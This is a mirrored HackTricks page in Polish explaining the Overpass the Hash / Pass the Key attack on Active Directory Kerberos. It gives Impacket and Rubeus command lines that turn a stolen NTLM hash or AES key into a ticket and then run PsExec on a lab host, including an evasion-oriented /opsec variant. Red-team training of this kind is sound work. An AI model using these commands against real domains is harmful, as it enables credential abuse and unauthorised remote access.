Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 21:24:06 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md
Translator workflow 5e0daf0e23 Translated to Polish
2024-02-11 01:46:25 +00:00

4.9 KiB
Raw Blame History

Over Pass the Hash/Pass the Key

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Overpass The Hash/Pass The Key (PTK)

Atak Overpass The Hash/Pass The Key (PTK) jest przeznaczony dla środowisk, w których tradycyjny protokół NTLM jest ograniczony, a uwierzytelnianie Kerberos ma pierwszeństwo. Ten atak wykorzystuje skróty NTLM lub klucze AES użytkownika do uzyskania biletów Kerberos, umożliwiając nieautoryzowany dostęp do zasobów w sieci.

Aby przeprowadzić ten atak, pierwszym krokiem jest zdobycie skrótu NTLM lub hasła konta docelowego użytkownika. Po uzyskaniu tych informacji można uzyskać Bilet Grantujący Bilet (TGT) dla tego konta, umożliwiając atakującemu dostęp do usług lub maszyn, do których użytkownik ma uprawnienia.

Proces można rozpocząć za pomocą następujących poleceń:

python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass

W przypadku scenariuszy wymagających AES256 można użyć opcji -aesKey [klucz AES]. Ponadto, uzyskany bilet może być wykorzystany z różnymi narzędziami, takimi jak smbexec.py lub wmiexec.py, poszerzając zakres ataku.

Napotkane problemy, takie jak PyAsn1Error lub KDC cannot find the name, zazwyczaj można rozwiązać, aktualizując bibliotekę Impacket lub używając nazwy hosta zamiast adresu IP, zapewniając zgodność z Kerberos KDC.

Alternatywna sekwencja poleceń przy użyciu Rubeus.exe demonstruje inną stronę tej techniki:

.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd

Ta metoda odzwierciedla podejście Pass the Key, skupiając się na przejęciu i wykorzystaniu biletu bezpośrednio do celów uwierzytelniania. Ważne jest zauważenie, że inicjacja żądania TGT wywołuje zdarzenie 4768: Żądano biletu uwierzytelniania Kerberos (TGT), co oznacza domyślne użycie RC4-HMAC, chociaż nowoczesne systemy Windows preferują AES256.

Aby dostosować się do bezpieczeństwa operacyjnego i używać AES256, można zastosować następujące polecenie:

.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!